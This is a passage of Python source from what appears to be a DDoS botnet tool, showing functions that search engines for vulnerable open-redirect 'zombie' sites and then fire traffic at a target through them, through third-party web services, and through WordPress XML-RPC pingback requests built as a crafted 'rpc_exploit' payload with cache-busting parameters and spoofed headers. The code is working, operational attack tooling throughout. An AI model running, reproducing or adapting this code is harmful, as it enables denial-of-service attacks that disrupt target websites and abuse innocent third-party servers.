  3277. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3278. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3279. if options.verbose:
  3280. print("[Info] [AI] [DORKING] Query used: " + url + " (POST: "+ data + ")\n")
  3281. try:
  3282. if options.proxy: # set proxy
  3283. self.proxy_transport(options.proxy)
  3284. req = urllib.request.Request(url, data.encode('utf-8'), headers) # HTTP POST request
  3285. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  3286. except:
  3287. print('[Error] [AI] Unable to connect to: duck\n')
  3288. if options.allengines or options.autosearch:
  3289. return
  3290. if not options.dorks or not options.autosearch:
  3291. if not self.options.forceyes:
  3292. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  3293. else:
  3294. update_reply = "Y"
  3295. if update_reply == "n" or update_reply == "N":
  3296. return #sys.exit(2)
  3297. print("\nSearch engines available:")
  3298. print('-'*25)
  3299. for e in self.search_engines:
  3300. print("+ "+e)
  3301. print('-'*25)
  3302. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  3303. return #sys.exit(2)
  3304. else:
  3305. req_reply = ''
  3306. regex = 'snippet" href="(.+?)">' # regex magics
  3307. pattern = re.compile(regex)
  3308. url_links = re.findall(pattern, req_reply)
  3309. else: # no valid search engine
  3310. print('[Error] [AI] This search engine is not supported!\n')
  3311. if not options.dorks or options.autosearch:
  3312. if not self.options.forceyes:
  3313. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  3314. else:
  3315. update_reply = "Y"
  3316. if update_reply == "n" or update_reply == "N":
  3317. return #sys.exit(2)
  3318. print("\nSearch engines available:")
  3319. print('-'*25)
  3320. for e in self.search_engines:
  3321. print("+ "+e)
  3322. print('-'*25)
  3323. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  3324. return #sys.exit(2)
  3325. else:
  3326. req_reply = ''
  3327. if options.num_results: # set number of results to search
  3328. try:
  3329. num = int(options.num_results)
  3330. except:
  3331. print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
  3332. num = 10
  3333. else:
  3334. num = 10
  3335. total_results = 1
  3336. for url in url_links: # general parse on urls
  3337. if int(num) < int(total_results):
  3338. break
  3339. if options.engine == "bing":
  3340. if " h=" in url: # regex magics [18/08/2016]
  3341. url = url.rsplit('" h=',1)[0]
  3342. if options.engine == "yahoo":
  3343. if 'RU=' in url: # regex magics [18/08/2016]
  3344. url = url.rsplit('RU=',1)[1]
  3345. if 'UTF-8&u=' in url: # regex magics [05/02/2018]
  3346. url = url.rsplit('UTF-8&u=',1)[1]
  3347. total_results = total_results + 1 # results counter
  3348. url_link = urllib.parse.unquote(url) # unquote encoding
  3349. if options.search:
  3350. sep = str(options.search)
  3351. if options.dorks or options.autosearch:
  3352. sep = str(dork)
  3353. url_link = url_link.rsplit(sep, 1)[0] + sep
  3354. if 'href="' in url_link:
  3355. url_link = url_link.rsplit('href="', 1)[1]
  3356. if "instreamset" in url_link: # invalid zombie
  3357. url_link = "" # discarded
  3358. if '" ' in url_link:
  3359. url_link = url_link.rsplit('" ', 1)[1]
  3360. if options.engine in url_link:
  3361. url_link = "" # discarded
  3362. if 'http' not in url_link:
  3363. url_link = "" # discarded
  3364. else:
  3365. if url_link not in zombies and url_link+os.linesep not in zombies_found and url_link != "": # AI mode (parsing search engines mixed pool and stored army)
  3366. print('+Victim found: ' + url_link)
  3367. zombies.append(url_link)
  3368. else:
  3369. pass
  3370. if len(zombies) == 0: # print dorking results
  3371. print("[Info] [AI] NOT any NEW victim(s) found for this query!\n")
  3372. if not options.dorks:
  3373. if not options.autosearch:
  3374. if not self.options.forceyes:
  3375. return #sys.exit(2)
  3376. self.total_possible_zombies = self.total_possible_zombies + len(zombies)
  3377. print("")
  3378. return zombies
  3379. def check_nat(self):
  3380. # check for NAT configuration
  3381. options = self.options
  3382. tor_reply = urllib.request.urlopen(self.check_tor_url).read().decode('utf-8') # check if TOR is enabled
  3383. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
  3384. check_ip_service = None
  3385. if not tor_reply or 'Congratulations' not in tor_reply:
  3386. print("[Info] [AI] It seems that you are not using TOR to recieve data. -> [OK!]\n")
  3387. else:
  3388. print("[Error] [AI] You are using TOR as public IP... It's not possible to NAT! -> [Aborting!]\n")
  3389. self.nat_error_flag = "ON"
  3390. return #sys.exit(2)
  3391. try:
  3392. data = str(urlopen(self.check_ip_service1).read()) # check for public ip
  3393. self.pub_ip = re.compile(r'Address: (\d+\.\d+\.\d+\.\d+)').search(data).group(1)
  3394. check_ip_service = self.check_ip_service1
  3395. except:
  3396. try: # another check for public ip
  3397. data = str(urlopen(self.check_ip_service2).read())
  3398. self.pub_ip = re.compile(r'">(\d+\.\d+\.\d+\.\d+)</span>').search(data).group(1)
  3399. check_ip_service = self.check_ip_service2
  3400. except:
  3401. print("[Error] [AI] Something wrong checking your public IP! -> [Exiting!]\n")
  3402. self.nat_error_flag = "ON"
  3403. return
  3404. t = urlparse(check_ip_service)
  3405. name_service = t.netloc
  3406. print(" + Public: " + self.pub_ip + " | "+name_service+"\n")
  3407. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  3408. s.connect(('8.8.8.8', 0)) # connecting to a UDP address doesn't send packets (black magic)
  3409. self.local_ip = s.getsockname()[0]
  3410. print(" + Local: " + self.local_ip + "\n")
  3411. print('='*22 + '\n')
  3412. def extract_ucavs(self):
  3413. # extract ucavs from file
  3414. options = self.options
  3415. try:
  3416. f = open(self.ucavs_file)
  3417. ucavs = f.readlines()
  3418. ucavs = [ ucav.replace('\n','') for ucav in ucavs ]
  3419. f.close()
  3420. if not ucavs:
  3421. print("[Info] [AI] [Control] Cannot retrieve [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  3422. self.options.disableucavs = True
  3423. return
  3424. else:
  3425. return ucavs
  3426. except:
  3427. if os.path.exists(self.ucavs_file) == True:
  3428. print("[Info] [AI] [Control] Cannot open [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  3429. return #sys.exit(2)
  3430. else:
  3431. print("[Info] [AI] [Control] Cannot found [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  3432. return #sys.exit(2)
  3433. def discarding_ucavs(self, ucav, ucavs):
  3434. if ucav in self.discard_ucavs:
  3435. ucavs.remove(ucav)
  3436. if self.options.verbose:
  3437. print(("[Info] [AI] [Control] [UCAVs] "+str(ucav)+" is not working! -> [Discarding!]"))
  3438. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  3439. return ucavs
  3440. def send_ucavs(self, ucavs):
  3441. # extract external status checkers, perform a request and check results
  3442. time.sleep(5) # aiming (multi-threading flow time compensation)
  3443. if not self.options.disablepurge:
  3444. if not ucavs: # return when not any working
  3445. self.options.disableucavs = True
  3446. return
  3447. options = self.options
  3448. target = self.options.target
  3449. shuffle(ucavs) # shuffle ucavs order, each round :-)
  3450. if not self.options.disablepurge:
  3451. for ucav in ucavs:
  3452. if not ucav.startswith('http'): # discarded inmediately
  3453. self.discard_ucavs.append(ucav)
  3454. self.num_discard_ucavs = self.num_discard_ucavs + 1
  3455. ucavs = self.discarding_ucavs(ucav, ucavs) # check if ucav is failing for autobalance army
  3456. if not self.options.disablepurge:
  3457. if not ucavs: # return when not any working
  3458. self.options.disableucavs = True
  3459. return
  3460. shuffle(ucavs) # shuffle ucavs order, each discarding check :-)
  3461. for ucav in ucavs:
  3462. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3463. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3464. if target.startswith("http://"): # parse target for some checkers
  3465. target = target.replace('http://','')
  3466. elif target.startswith("https://"):
  3467. target = target.replace('https://','')
  3468. url = ucav + target
  3469. t = urlparse(ucav)
  3470. name_ucav = t.netloc
  3471. if name_ucav == "":
  3472. name_ucav = ucav
  3473. if options.verbose:
  3474. print(("[Info] [UCAVs] Sniping: " + url))
  3475. try:
  3476. if options.proxy: # set proxy
  3477. self.proxy_transport(options.proxy)
  3478. if options.timeout: # set timeout
  3479. ucav_timeout = options.timeout
  3480. else:
  3481. ucav_timeout = 5
  3482. if ucav_timeout < 1:
  3483. ucav_timeout = 5
  3484. req = urllib.request.Request(url, None, headers)
  3485. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=ucav_timeout).read().decode('utf-8')
  3486. self.ucavs_hit = self.ucavs_hit + 1 # add ucav hit to stats
  3487. except:
  3488. print("[Info] [UCAVs] " + name_ucav + " -> FAILED (cannot connect!)")
  3489. if not self.options.disablepurge:
  3490. self.discard_ucavs.append(ucav)
  3491. self.num_discard_ucavs = self.num_discard_ucavs + 1
  3492. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  3493. target_reply = ""
  3494. if target_reply == "": # check for target's status resolved by [UCAVs]
  3495. pass
  3496. else:
  3497. if not "is down" or not "looks down" or not "No info found for host" in target_reply: # parse external service for reply
  3498. print("[Info] [UCAVs] " + name_ucav + " -> Target is ONLINE! -> [Keep shooting!]")
  3499. self.num_is_up = self.num_is_up + 1
  3500. else:
  3501. print("[Info] [UCAVs] " + name_ucav + " -> Target looks OFFLINE! -> [Checking!]")
  3502. self.num_is_down = self.num_is_down + 1
  3503. if self.options.verbose:
  3504. print("[Info] [AI] [UCAVs] "+str(name_ucav)+" is returning...")
  3505. self.extra_zombies_lock = False # [ARMY] have finished
  3506. def extract_median(self, num_list):
  3507. # extract median from a list of numbers
  3508. import statistics
  3509. int_num = []
  3510. for num in num_list:
  3511. num = float(num)
  3512. int_num.append(num)
  3513. return statistics.median(int_num)
  3514. def check_is_loading(self, target):
  3515. # perform a broadband test (using GET) to analize target's reply to the traffic generated each round
  3516. self.start = None
  3517. self.stop = None
  3518. print('\n---------')
  3519. print("\n[Info] [AI] Scanning target to check for levels on defensive shields...\n")
  3520. if target.endswith(""):
  3521. target.replace("", "/")
  3522. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3523. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3524. try:
  3525. req = urllib.request.Request(target, None, headers)
  3526. if self.options.proxy: # set proxy
  3527. self.proxy_transport(self.options.proxy)
  3528. if self.options.timeout: # set timeout
  3529. try:
  3530. timeout = int(self.options.timeout)
  3531. except:
  3532. timeout = 5
  3533. else:
  3534. timeout = 5
  3535. if timeout < 1:
  3536. timeout = 5
  3537. self.start = time.time()
  3538. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3539. header = urllib.request.urlopen(req, context=self.ctx).info()
  3540. self.stop = time.time()
  3541. except:
  3542. print('[Info] [AI] Our scanner cannot connect to the target this round! -> [Skipping!]\n')
  3543. return
  3544. try:
  3545. s, size_name = self.convert_size(len(target_reply))
  3546. self.loadcheck_size_list.append(s) # add record to size list
  3547. size = '%s %s' % (s,size_name)
  3548. except:
  3549. size = "Error!"
  3550. try:
  3551. time_required = self.stop - self.start
  3552. load = self.convert_time(time_required)
  3553. self.loadcheck_load_list.append(load) # add record to load list
  3554. except:
  3555. load = "Error!"
  3556. self.loadcheck_counter = self.loadcheck_counter + 1
  3557. print(' -Total tests:', self.loadcheck_counter, "\n")
  3558. if self.loadcheck_prev_size is not None and self.loadcheck_prev_load is not None:
  3559. lsm = self.extract_median(self.loadcheck_size_list)
  3560. if lsm is not None:
  3561. self.loadcheck_size_median = str(lsm) + " " + size_name
  3562. else:
  3563. self.loadcheck_size_median = None
  3564. llm = self.extract_median(self.loadcheck_load_list)
  3565. if llm is not None:
  3566. self.loadcheck_load_median = str(llm) + " seconds"
  3567. else:
  3568. self.loadcheck_load_median = None
  3569. if self.loadcheck_counter == 2: # first round
  3570. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  3571. print(' -Bytes in (this round) :', size)
  3572. if self.loadcheck_size_median is not None:
  3573. print(' -Bytes in (median) :', self.loadcheck_size_median)
  3574. print(' ----')
  3575. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  3576. print(' -Load time (this round) :', load, "seconds")
  3577. if self.loadcheck_load_median is not None:
  3578. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  3579. else:
  3580. print("\n")
  3581. self.loadcheck_size_max = None
  3582. self.loadcheck_size_min = None
  3583. self.loadcheck_load_max = None
  3584. self.loadcheck_load_min = None
  3585. elif self.loadcheck_counter > 2: # rest of rounds
  3586. lsmax = max(self.loadcheck_size_list)
  3587. if lsmax is not None:
  3588. self.loadcheck_size_max = str(lsmax) + " " + size_name
  3589. else:
  3590. self.loadcheck_size_max = None
  3591. lsmin = min(self.loadcheck_size_list)
  3592. if lsmin is not None:
  3593. self.loadcheck_size_min = str(lsmin) + " " + size_name
  3594. else:
  3595. self.loadcheck_size_min = None
  3596. llmax = max(self.loadcheck_load_list)
  3597. if llmax is not None:
  3598. self.loadcheck_load_max = str(llmax) + " seconds"
  3599. else:
  3600. self.loadcheck_load_max = None
  3601. llmin = min(self.loadcheck_load_list)
  3602. if llmin is not None:
  3603. self.loadcheck_load_min = str(llmin) + " seconds"
  3604. else:
  3605. self.loadcheck_load_min = None
  3606. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  3607. print(' -Bytes in (previous round) :', self.loadcheck_prev_size)
  3608. print(' -Bytes in (this round) :', size)
  3609. if self.loadcheck_size_max is not None:
  3610. print(' -Bytes in (max) :', self.loadcheck_size_max)
  3611. if self.loadcheck_size_min is not None:
  3612. print(' -Bytes in (min) :', self.loadcheck_size_min)
  3613. if self.loadcheck_size_median is not None:
  3614. print(' -Bytes in (median) :', self.loadcheck_size_median)
  3615. print(' ----')
  3616. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  3617. print(' -Load time (previous round):', self.loadcheck_prev_load, "seconds")
  3618. print(' -Load time (this round) :', load, "seconds")
  3619. if self.loadcheck_load_max is not None:
  3620. print(' -Load time (max) :', self.loadcheck_load_max)
  3621. if self.loadcheck_load_min is not None:
  3622. print(' -Load time (min) :', self.loadcheck_load_min)
  3623. if self.loadcheck_load_median is not None:
  3624. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  3625. else:
  3626. print("\n")
  3627. if self.loadcheck_prev_load < load: # target is loading more slowly
  3628. print("[Info] [AI] [Scanner] Target is serving the content more slowly this round! ;-) -> [Keep shooting!]\n")
  3629. elif self.loadcheck_prev_load == load: # inmutable target
  3630. print("[Info] [AI] [Scanner] Attack is not having any effect on your target this round... -> [Keep shooting!]\n")
  3631. elif self.loadcheck_prev_load > load: # is target defending?
  3632. print("[Info] [AI] [Scanner] Target is loading this round faster than the previous one! -> DETECTED: [PROXY CACHE!!]\n")
  3633. else:
  3634. print(' -Bytes in (this round) :', size)
  3635. print(' -Load time (this round):', load, "seconds\n")
  3636. self.loadcheck_first_size = size
  3637. self.loadcheck_first_load = load
  3638. self.loadcheck_size_median = None
  3639. self.loadcheck_load_median = None
  3640. self.loadcheck_size_max = None
  3641. self.loadcheck_size_min = None
  3642. self.loadcheck_load_max = None
  3643. self.loadcheck_load_min = None
  3644. self.loadcheck_prev_size = size # record previous size
  3645. self.loadcheck_prev_load = load # record previous load
  3646. def convert_size(self, size):
  3647. if (size == 0):
  3648. return '0 B'
  3649. size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
  3650. i = int(math.floor(math.log(size,1024)))
  3651. p = math.pow(1024,i)
  3652. s = round(size/p,2)
  3653. return s, size_name[i]
  3654. def convert_time(self, time):
  3655. return '%.2f' % time
  3656. def discarding_zombies(self, zombie, zombies):
  3657. if zombie in self.discardzombies:
  3658. zombies.remove(zombie)
  3659. if self.options.verbose:
  3660. print(("[Info] [AI] [Control] [Zombies] "+str(zombie)+" is not working! -> [Discarding!]"))
  3661. return zombies
  3662. def send_zombies(self, zombies):
  3663. # send Open Redirect zombies
  3664. time.sleep(1) # aiming (multi-threading flow time compensation)
  3665. if not self.options.disablepurge:
  3666. if not zombies:
  3667. self.empty_zombies = True
  3668. return
  3669. if self.options.verbose:
  3670. print("[Info] [AI] [Control] Deploying [Zombies] with 'maser-melee' weapons...")
  3671. options = self.options
  3672. target = self.options.target
  3673. shuffle(zombies) # shuffle zombies order, each round :-)
  3674. if not self.options.disablepurge:
  3675. for zombie in zombies: # check if zombie is failing for autobalance army
  3676. if not zombie.startswith('http'): # discarded inmediately
  3677. self.discardzombies.append(zombie)
  3678. self.num_discard_zombies = self.num_discard_zombies + 1
  3679. zombies = self.discarding_zombies(zombie, zombies)
  3680. if not self.options.disablepurge:
  3681. if not zombies: # return when not any working
  3682. self.empty_zombies = True
  3683. return
  3684. for zombie in zombies:
  3685. t = urlparse(zombie)
  3686. name_zombie = t.netloc
  3687. if name_zombie == "":
  3688. name_zombie = zombie
  3689. if not self.options.attackme:
  3690. print("[Info] [Zombies] Attacking from: " + name_zombie)
  3691. else: # on attackme, target url is dynamic -> http://public_ip:port/hash|zombie
  3692. self.mothership_hash = random.getrandbits(128) # generating random evasion hash
  3693. target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
  3694. self.options.target = target
  3695. print("[Info] [Zombies] Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port)
  3696. print("[Info] [Zombies] Payload: " + target)
  3697. print('='*55, "\n")
  3698. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3699. if not options.target.startswith('http'):
  3700. if options.forcessl:
  3701. options.target = "https://" + options.target
  3702. else:
  3703. options.target = "http://" + options.target
  3704. self.attack_mode = True
  3705. try:
  3706. if options.verbose:
  3707. print("[Info] [Zombies] Sniping: " + options.target)
  3708. self.connect_zombies(zombie)
  3709. if self.options.dbstress: # try to stress db on target by using vulnerable Open Redirect web servers
  3710. self.db_flash = self.db_flash + 1
  3711. stress = self.stressing(target, zombie)
  3712. except Exception:
  3713. print("[Info] [Zombies] " + zombie + " -> FAILED (cannot connect!)")
  3714. self.total_zombies_failed_connection = self.total_zombies_failed_connection + 1 # used to manage threading pool
  3715. if not self.options.disablepurge:
  3716. self.discardzombies.append(zombie)
  3717. self.num_discard_zombies = self.num_discard_zombies + 1
  3718. if self.options.verbose:
  3719. print("[Info] [AI] [Zombies] "+str(name_zombie)+" is returning...")
  3720. self.attack_mode = False
  3721. def discarding_aliens(self, alien, aliens):
  3722. if alien in self.discard_aliens:
  3723. aliens.remove(alien)
  3724. if self.options.verbose:
  3725. print(("[Info] [AI] [Control] [Aliens] "+str(alien)+" is not working! -> [Discarding!]"))
  3726. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3727. return aliens
  3728. def send_aliens(self, aliens):
  3729. # extract external web abuse services urls (POST) and perform requests against target
  3730. time.sleep(2) # aiming (multi-threading flow time compensation)
  3731. if not self.options.disablepurge:
  3732. if not aliens: # return when not any working
  3733. self.options.disablealiens = True
  3734. return
  3735. target = self.options.target
  3736. options = self.options
  3737. shuffle(aliens) # shuffle aliens
  3738. if not self.options.disablepurge:
  3739. for alien in aliens:
  3740. if not alien.startswith('http'): # discarded inmediately
  3741. self.discard_aliens.append(alien)
  3742. self.num_discard_aliens = self.num_discard_aliens + 1
  3743. aliens = self.discarding_aliens(alien, aliens) # check if alien is failing for autobalance army
  3744. if not self.options.disablepurge:
  3745. if not aliens: # return when not any working
  3746. self.options.disablealiens = True
  3747. return
  3748. shuffle(aliens) # shuffle aliens order, each discarding check :-)
  3749. for alien in aliens:
  3750. name_alien = None
  3751. if "$POST" in alien: # extract alien/parameters -> search for $POST delimiter on 'aliens.txt' file
  3752. regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST'))) # regex magics
  3753. pattern_alien = re.compile(regex_alien)
  3754. alien_url = re.findall(pattern_alien, alien) # HTTP POST url for submit data
  3755. regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape(''))) # regex magics
  3756. pattern_param = re.compile(regex_param)
  3757. param = re.findall(pattern_param, alien) # HTTP POST params to submit
  3758. for u in alien_url:
  3759. url = u # ex: POST -> path/submit.php
  3760. t = urlparse(url)
  3761. name_alien = t.netloc
  3762. if name_alien == "":
  3763. name_alien = alien
  3764. print("[Info] [Aliens] Attacking from: " + name_alien)
  3765. for p in param:
  3766. param_target = {p : target} # ex POST -> url=target
  3767. param_target = urllib.parse.urlencode(param_target)
  3768. try:
  3769. if options.verbose:
  3770. print("[Info] [Aliens] Sniping: " + url + " - POST:", param_target)
  3771. if options.proxy: # set proxy
  3772. self.proxy_transport(options.proxy)
  3773. if self.options.timeout: # set timeout
  3774. try:
  3775. alien_timeout = int(self.options.timeout)
  3776. except:
  3777. alien_timeout = 5
  3778. else:
  3779. alien_timeout = 5
  3780. if alien_timeout < 1:
  3781. alien_timeout = 5
  3782. req = urllib.request.Request(url, param_target.encode('utf-8'))
  3783. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=alien_timeout)
  3784. self.aliens_hit = self.aliens_hit + 1 # add hit to aliens stats
  3785. except Exception:
  3786. print("[Info] [Aliens] " + name_alien + " -> FAILED (cannot connect!)")
  3787. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3788. if not self.options.disablepurge:
  3789. self.discard_aliens.append(alien)
  3790. self.num_discard_aliens = self.num_discard_aliens + 1
  3791. else:
  3792. print(("[Info] [Aliens] "+str(alien)+" -> FAILED (invalid alien!)"))
  3793. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3794. if not self.options.disablepurge:
  3795. self.discard_aliens.append(alien)
  3796. self.num_discard_aliens = self.num_discard_aliens + 1
  3797. if self.options.verbose:
  3798. if name_alien:
  3799. print("[Info] [AI] [Aliens] "+str(name_alien)+" is returning...")
  3800. else:
  3801. print("[Info] [AI] [Aliens] "+str(alien)+" is returning...")
  3802. if self.options.disabledroids and self.options.disablerpcs and self.options.disableucavs:
  3803. self.extra_zombies_lock = False # [ARMY] have finished
  3804. def extract_aliens(self):
  3805. # extract aliens from file
  3806. options = self.options
  3807. try:
  3808. f = open(self.aliens_file)
  3809. aliens = f.readlines()
  3810. aliens = [ alien.replace('\n','') for alien in aliens ]
  3811. f.close()
  3812. if not aliens:
  3813. print("[Info] [AI] [Control] Cannot retrieve [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3814. self.options.disablealiens = True
  3815. return
  3816. else:
  3817. return aliens
  3818. except:
  3819. if os.path.exists(self.aliens_file) == True:
  3820. print("[Info] [AI] [Control] Cannot open [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3821. return #sys.exit(2)
  3822. else:
  3823. print("[Info] [AI] [Control] Cannot found [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3824. return #sys.exit(2)
  3825. def discarding_droids(self, droid, droids):
  3826. if droid in self.discard_droids:
  3827. droids.remove(droid)
  3828. if self.options.verbose:
  3829. print(("[Info] [AI] [Control] [Droids] "+str(droid)+" is not working! -> [Discarding!]"))
  3830. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3831. return droids
  3832. def send_droids(self, droids):
  3833. # extract external web abuse services urls (GET) and perform requests against target
  3834. time.sleep(3) # aiming (multi-threading flow time compensation)
  3835. if not self.options.disablepurge:
  3836. if not droids: # return when not any working
  3837. self.options.disabledroids = True
  3838. return
  3839. target = self.options.target
  3840. try:
  3841. target = urllib.parse.unquote(target).decode('utf8') # parte urlencoding
  3842. except:
  3843. target = urllib.parse.unquote(target)
  3844. if target.startswith('http://'): # remove http
  3845. target = target.replace('http://', '')
  3846. if target.startswith('https://'):
  3847. target = target.replace('https://', '') # remove https
  3848. options = self.options
  3849. shuffle(droids) # shuffle droids
  3850. if not self.options.disablepurge:
  3851. for droid in droids:
  3852. if not droid.startswith('http'): # discarded inmediately
  3853. self.discard_droids.append(droid)
  3854. self.num_discard_droids = self.num_discard_droids + 1
  3855. droids = self.discarding_droids(droid, droids) # check if droid is failing for autobalance army
  3856. if not self.options.disablepurge:
  3857. if not droids: # return when not any working
  3858. self.options.disabledroids = True
  3859. return
  3860. shuffle(droids) # shuffle droids order, each discarding check :-)
  3861. for droid in droids:
  3862. name_droid = None
  3863. if "$TARGET" in droid: # replace droid/parameter for target
  3864. url = droid.replace("$TARGET", target)
  3865. t = urlparse(url)
  3866. name_droid = t.netloc
  3867. if name_droid == "":
  3868. name_droid = droid
  3869. print("[Info] [Droids] Attacking from: " + name_droid)
  3870. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3871. headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'} # set fake headers
  3872. try:
  3873. if options.proxy: # set proxy
  3874. self.proxy_transport(options.proxy)
  3875. if self.options.timeout: # set timeout
  3876. try:
  3877. droid_timeout = int(self.options.timeout)
  3878. except:
  3879. droid_timeout = 5
  3880. else:
  3881. droid_timeout = 5
  3882. if droid_timeout < 1:
  3883. droid_timeout = 5
  3884. req = urllib.request.Request(url, None, headers)
  3885. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=droid_timeout)
  3886. self.droids_hit = self.droids_hit + 1 # add hit to droids stats
  3887. except Exception:
  3888. print("[Info] [Droids] " + name_droid + " -> FAILED (cannot connect!)")
  3889. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3890. if not self.options.disablepurge:
  3891. self.discard_droids.append(droid)
  3892. self.num_discard_droids = self.num_discard_droids + 1
  3893. else:
  3894. print("[Info] [Droids] " + str(droid) + " -> FAILED (invalid droid!)")
  3895. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3896. if not self.options.disablepurge:
  3897. self.discard_droids.append(droid)
  3898. self.num_discard_droids = self.num_discard_droids + 1
  3899. if self.options.verbose:
  3900. if name_droid:
  3901. print("[Info] [AI] [Droids] "+str(name_droid)+" is returning...")
  3902. else:
  3903. print("[Info] [AI] [Droids] "+str(droid)+" is returning...")
  3904. if self.options.disablerpcs and self.options.disableucavs:
  3905. self.extra_zombies_lock = False # [ARMY] have finished
  3906. def extract_droids(self):
  3907. # extract droids from file
  3908. options = self.options
  3909. try:
  3910. f = open(self.droids_file)
  3911. droids = f.readlines()
  3912. droids = [ droid.replace('\n','') for droid in droids ]
  3913. f.close()
  3914. if not droids:
  3915. print("[Info] [AI] [Control] Cannot retrieve [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3916. self.options.disabledroids = True
  3917. return
  3918. else:
  3919. return droids
  3920. except:
  3921. if os.path.exists(self.droids_file) == True:
  3922. print("[Info] [AI] [Control] Cannot open [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3923. return #sys.exit(2)
  3924. else:
  3925. print("[Info] [AI] [Control] Cannot found [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3926. return #sys.exit(2)
  3927. def discarding_rpcs(self, rpc, rpcs):
  3928. if rpc in self.discard_rpcs:
  3929. rpcs.remove(rpc)
  3930. if self.options.verbose:
  3931. print(("[Info] [AI] [Control] [X-RPCs] "+str(rpc)+" is not working! -> [Discarding!]"))
  3932. return rpcs
  3933. def send_rpcs(self, rpcs):
  3934. # extract vulnerable XML-RPC pingback services and perform requests against target
  3935. time.sleep(4) # aiming (multi-threading flow time compensation)
  3936. if not self.options.disablepurge:
  3937. if not rpcs: # return when not any working
  3938. self.options.disablerpcs = True
  3939. return
  3940. target = self.options.target
  3941. options = self.options
  3942. def random_key(length):
  3943. key = ''
  3944. for i in range(length):
  3945. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  3946. return key
  3947. shuffle(rpcs) # shuffle rpcs
  3948. if not self.options.disablepurge:
  3949. for rpc in rpcs:
  3950. if not rpc.startswith('http'): # discarded inmediately
  3951. if not self.options.disablepurge:
  3952. self.discard_rpcs.append(rpc)
  3953. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3954. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3955. rpcs = self.discarding_rpcs(rpc, rpcs) # check if rpc is failing for autobalance army
  3956. if not self.options.disablepurge:
  3957. if not rpcs: # return when not any working
  3958. self.options.disablerpcs = True
  3959. return
  3960. shuffle(rpcs) # shuffle rpcs order, each discarding check :-)
  3961. for rpc in rpcs:
  3962. t = urlparse(rpc)
  3963. name_rpc = t.netloc
  3964. if name_rpc == "":
  3965. name_rpc = rpc
  3966. print("[Info] [X-RPCs] Attacking from: " + name_rpc)
  3967. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3968. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3969. key = random_key(8) # generate random value page to bypass cache
  3970. rpc_page = "?" + str(key)
  3971. key = random_key(6) # re-generate random value id to bypass cache
  3972. rpc_id = "=" + str(key)
  3973. target_place = target + rpc_page + rpc_id # random place to bypass cache (ex: www.target.com?U7OvBdp1=4lMcNj)
  3974. if "/xmlrpc.php" in rpc:
  3975. rpc_place = rpc.replace("xmlrpc.php", "")
  3976. rpc_exploit = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>"+target_place+"</string></value></param><param><value><string>"+rpc_place+"</string></value></param></params></methodCall>"
  3977. try:
  3978. if options.proxy: # set proxy
  3979. self.proxy_transport(options.proxy)
  3980. if self.options.timeout: # set timeout
  3981. try:
  3982. rpc_timeout = int(self.options.timeout)
  3983. except:
  3984. rpc_timeout = 5
  3985. else:
  3986. rpc_timeout = 5
  3987. if rpc_timeout < 1:
  3988. rpc_timeout = 5
  3989. req = urllib.request.Request(rpc, rpc_exploit.encode('utf-8'), headers)
  3990. urllib.request.urlopen(req, context=self.ctx, timeout=rpc_timeout)
